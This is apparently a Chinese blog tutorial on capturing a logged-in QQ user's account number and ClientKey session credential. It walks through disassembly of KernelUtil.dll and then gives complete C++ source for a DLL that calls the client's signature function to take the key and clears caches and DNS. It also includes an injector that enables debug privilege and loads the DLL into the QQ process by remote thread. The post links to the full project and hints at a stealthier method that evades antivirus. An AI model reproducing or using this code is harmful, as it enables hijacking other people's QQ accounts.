前言
由于 QQ 9.7.20 版本后已经不能通过模拟网页快捷登录来截取 QQClientkey / QQKey,估计是针对访问的程序做了限制,然而经过多方面测试,诸多的地区、环境、机器也针对这种获取方法做了相应的措施,导致模拟网页快捷登录来截取数据被彻底的和谐,为了解决这个问题我们只能更改思路对 KernelUtil.dll 下手。
Step 1 (第一步)
KernelUtil.dll QQ 9.7.21 (29280) 即官网最新版本
此文件位于 *:\Program Files (x86)\Tencent\QQ\Bin\ 下
并于客户端成功登录后加载。
Step 2 (第二步)
IDA 附加
定位到 KernelUtil.dll 中的函数
“?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z”
CTXStringW *__cdecl Util::Misc::GetSignature(CTXStringW *a1, int a2) { int v2; // eax int v4; // [esp-14h] [ebp-14h] int v5; // [esp-10h] [ebp-10h] int v6; // [esp-Ch] [ebp-Ch] int v7; // [esp-8h] [ebp-8h] CTXStringW::CTXStringW(a1); v5 = 0; sub_55404A73(&v5); if ( v5 ) { v6 = 0; if ( (*(int (__stdcall **)(int, int, int *))(*(_DWORD *)v5 + 60))(v5, a2, &v6) >= 0 ) { v7 = 0; sub_5536126A(&v7, v6); v2 = Util::Encode::Encode16(&v4, &v7); CTXStringW::operator=(a1, v2); CTXStringW::~CTXStringW((CTXStringW *)&v4); if ( v7 ) (*(void (__stdcall **)(int))(*(_DWORD *)v7 + 8))(v7); } sub_5540C87C(&v6); } sub_5540C87C(&v5); return a1; }
参数 1 为 缓存区 返回结果指针。
参数 2 为 传入参数的指针。
.text:55416CFC ; class CTXStringW __cdecl Util::Misc::Get32ByteValueAddedSign(void) .text:55416CFC public ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ .text:55416CFC ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ proc near .text:55416CFC ; CODE XREF: Util::URL::AdjustUrl(CTXStringW const &,Util::URL::URLMODIFYLEVEL,CTXStringW const &,wchar_t const *)+A8↓p .text:55416CFC ; Util::URL::GetKeyFmt(CFmtString &)+21↓p ... .text:55416CFC push ebp .text:55416CFD mov ebp, esp .text:55416CFF push offset aBuf32bytevalue ; "buf32ByteValueAddedSignature" .text:55416D04 push dword ptr [ebp+8] .text:55416D07 call ?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z ; Util::Misc::GetSignature(char const *) .text:55416D0C mov eax, [ebp+8] .text:55416D0F pop ecx .text:55416D10 pop ecx .text:55416D11 pop ebp .text:55416D12 retn .text:55416D12 ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ endp
CTXStringW *__cdecl Util::Misc::Get32ByteValueAddedSign(CTXStringW *a1) { Util::Misc::GetSignature(a1, (int)"buf32ByteValueAddedSignature"); return a1; }
Get32ByteValueAddedSign 获取当前登录客户端 Clientkey。
int __fastcall Util::Contact::GetSelfUin(int a1) { int result; // eax int v2; // esi int v3; // [esp-8h] [ebp-8h] v3 = a1; result = dword_554F12AC; if ( !dword_554F12AC ) { v3 &= dword_554F12AC; sub_55404A73(&v3); if ( v3 ) (*(void (__stdcall **)(int, int *))(*(_DWORD *)v3 + 48))(v3, &dword_554F12AC); v2 = dword_554F12AC; sub_5540C87C(&v3); result = v2; } return result; }
GetSelfUin 获取当前登录客户端 Uin。
.text:55405EA9 public ?GetSelfUin@Contact@Util@@YAKXZ .text:55405EA9 ?GetSelfUin@Contact@Util@@YAKXZ proc near .text:55405EA9 ; CODE XREF: .text:5535A2FE↑p .text:55405EA9 ; .text:5535A921↑p ... .text:55405EA9 push ebp .text:55405EAA mov ebp, esp .text:55405EAC push ecx .text:55405EAD mov eax, dword_554F12AC .text:55405EB2 test eax, eax .text:55405EB4 jnz short loc_55405EE7 .text:55405EB6 and [ebp-4], eax .text:55405EB9 lea eax, [ebp-4] .text:55405EBC push eax .text:55405EBD call sub_55404A73 .text:55405EC2 mov eax, [ebp-4] .text:55405EC5 pop ecx .text:55405EC6 test eax, eax .text:55405EC8 jz short loc_55405ED5 .text:55405ECA mov ecx, [eax] .text:55405ECC push offset dword_554F12AC .text:55405ED1 push eax .text:55405ED2 call dword ptr [ecx+30h] .text:55405ED5 .text:55405ED5 loc_55405ED5: ; CODE XREF: Util::Contact::GetSelfUin(void)+1F↑j .text:55405ED5 push esi .text:55405ED6 mov esi, dword_554F12AC .text:55405EDC lea ecx, [ebp-4] .text:55405EDF call sub_5540C87C .text:55405EE4 mov eax, esi .text:55405EE6 pop esi .text:55405EE7 .text:55405EE7 loc_55405EE7: ; CODE XREF: Util::Contact::GetSelfUin(void)+B↑j .text:55405EE7 mov esp, ebp .text:55405EE9 pop ebp .text:55405EEA retn .text:55405EEA ?GetSelfUin@Contact@Util@@YAKXZ endp
Step 3 (第三步)
我们了解过程后便可以通过加载 GetModuleHandle("KernelUtil.dll") 调用相应函数自动截取。
ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ"); if (fnGetSelfUin == NULL) { OutputDebugStringA("Get GetSelfUin Function failed \n"); return FALSE; } // 获取 UIN ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)(); if (currentQQ == NULL) { OutputDebugStringA("Invoke GetSelfUin Function failed \n"); return FALSE; } PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z"); if (GetSignature == NULL) { OutputDebugStringA("Get GetSignature Function failed \n"); return FALSE; } // 获取 Clientkey PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature"); if (res == NULL) { OutputDebugStringA("Invoke GetSignature Function failed \n"); return FALSE; }
实现代码
DLL
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "stdafx.h" using namespace std; char szUin[MAX_PATH] = { 0 }; char szClientkey[MAX_PATH] = { 0 }; BOOL DelTempFiles(); BOOL GetQQClientKeys(); static DWORD WINAPI MainProcess(LPVOID pParam); // 清理缓存 BOOL DelTempFiles() { // 清理 DNS 缓存 ShellExecute(NULL, "open", "ipconfig.exe", "/flushdns", NULL, SW_HIDE); BOOL bResult = FALSE; BOOL bDone = FALSE; LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry = NULL; DWORD dwTrySize, dwEntrySize = 4096; // start buffer size HANDLE hCacheDir = NULL; DWORD dwError = ERROR_INSUFFICIENT_BUFFER; do { switch (dwError) { // need a bigger buffer case ERROR_INSUFFICIENT_BUFFER: delete[] lpCacheEntry; lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO) new char[dwEntrySize]; lpCacheEntry->dwStructSize = dwEntrySize; dwTrySize = dwEntrySize; BOOL bSuccess; if (hCacheDir == NULL) bSuccess = (hCacheDir = FindFirstUrlCacheEntry(NULL, lpCacheEntry, &dwTrySize)) != NULL; else bSuccess = FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize); if (bSuccess) dwError = ERROR_SUCCESS; else { dwError = GetLastError(); dwEntrySize = dwTrySize; // use new size returned } break; // we are done case ERROR_NO_MORE_ITEMS: bDone = TRUE; bResult = TRUE; break; // we have got an entry case ERROR_SUCCESS: // don't delete cookie entry if (!(lpCacheEntry->CacheEntryType & COOKIE_CACHE_ENTRY)) DeleteUrlCacheEntry(lpCacheEntry->lpszSourceUrlName); // get ready for next entry dwTrySize = dwEntrySize; if (FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize)) dwError = ERROR_SUCCESS; else { dwError = GetLastError(); dwEntrySize = dwTrySize; // use new size returned } break; // unknown error default: bDone = TRUE; break; } if (bDone) { delete[]lpCacheEntry; if (hCacheDir) FindCloseUrlCache(hCacheDir); } } while (!bDone); return TRUE; } BOOL GetQQClientKeys() { // 清理缓存与DNS DelTempFiles(); ZeroMemory(szUin, MAX_PATH); ZeroMemory(szClientkey, MAX_PATH); HMODULE hKernelUtil = GetModuleHandle("KernelUtil.dll"); if (hKernelUtil == NULL) { OutputDebugStringA("Get KernelUtil Module failed \n"); return FALSE; } ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ"); if (fnGetSelfUin == NULL) { OutputDebugStringA("Get GetSelfUin Function failed \n"); return FALSE; } ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)(); if (currentQQ == NULL) { OutputDebugStringA("Invoke GetSelfUin Function failed \n"); return FALSE; } sprintf(szUin, "%u", currentQQ); PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z"); if (GetSignature == NULL) { OutputDebugStringA("Get GetSignature Function failed \n"); return FALSE; } PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature"); if (res == NULL) { OutputDebugStringA("Invoke GetSignature Function failed \n"); return FALSE; } sprintf(szClientkey, "%ws", ClientKey); return TRUE; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: HANDLE hThread1; hThread1 = CreateThread(NULL, 0, MainProcess, NULL, 0, NULL); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // 主线程模块 static DWORD WINAPI MainProcess(LPVOID pParam) { if (GetQQClientKeys()) { MessageBox(NULL, "获取数据成功。", "注意", NULL); } return 0; }
主程序
// Main.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #ifdef _DEBUG #define new DEBUG_NEW #endif BOOL AdjustPrivileges(); BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID); // 唯一的应用程序对象 CWinApp theApp; using namespace std; BOOL AdjustPrivileges() { HANDLE hToken = NULL; TOKEN_PRIVILEGES tp = { 0 }; TOKEN_PRIVILEGES oldtp = { 0 }; DWORD dwSize = sizeof(TOKEN_PRIVILEGES); LUID luid = { 0 }; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { return FALSE; } if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { CloseHandle(hToken); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /* Adjust Token Privileges */ if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &oldtp, &dwSize)) { CloseHandle(hToken); return FALSE; } // close handles CloseHandle(hToken); return TRUE; } BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID) { if (AdjustPrivileges()) { HANDLE hOprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID); if (hOprocess != NULL) { _TCHAR* pLibFileRemote = (_TCHAR*)VirtualAllocEx(hOprocess, NULL, 2 * strlen(DLLName) + 1, MEM_COMMIT, PAGE_READWRITE); if (pLibFileRemote != NULL) { if (!WriteProcessMemory(hOprocess, (void*)pLibFileRemote, DLLName, 2 * strlen(DLLName) + 1, NULL)) return FALSE; //Get LoadLibraryW Address PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryA"); if (pfnStartAddr != NULL) { HANDLE hRemote = CreateRemoteThread(hOprocess, NULL, 0, pfnStartAddr, (PVOID)pLibFileRemote, 0, NULL); if (hRemote != NULL) { CloseHandle(hRemote); CloseHandle(hOprocess); return TRUE; } } } } CloseHandle(hOprocess); } return FALSE; } int main() { if (!injectDLL(“D:\\QQKey.dll”, 8888)) { cout << "injectDLL To Target EXE Failed。\r\n" << endl; } system("pause"); return 0; }
效果演示
结语
利用此种方法可以很方便的截取到 Uin 跟 Clientkey。
但是缺点也是相形见绌的,如下图:
:(
要出现这个画面提示就不是很友好了,并且大部分安全软件都会提示并拦截,其中包括 windows 10 / windows 11 下的 Microsoft Defender 也是如此,那么该方法就显得一无是处。
还有另一种方法是通过读取 QQ 客户端数据来截取其中的 Uin 与 Clientkey,并且不会出现任何提示、报警或拦截的情况。但在这里就不详细说明,怕又被和谐,有兴趣的可以私信我。
完整项目下载
【蓝奏云下载】 (提取码:eh9v)
【百度云下载】 (提取码:wqau)
官方网站
【www.CHWM.vip】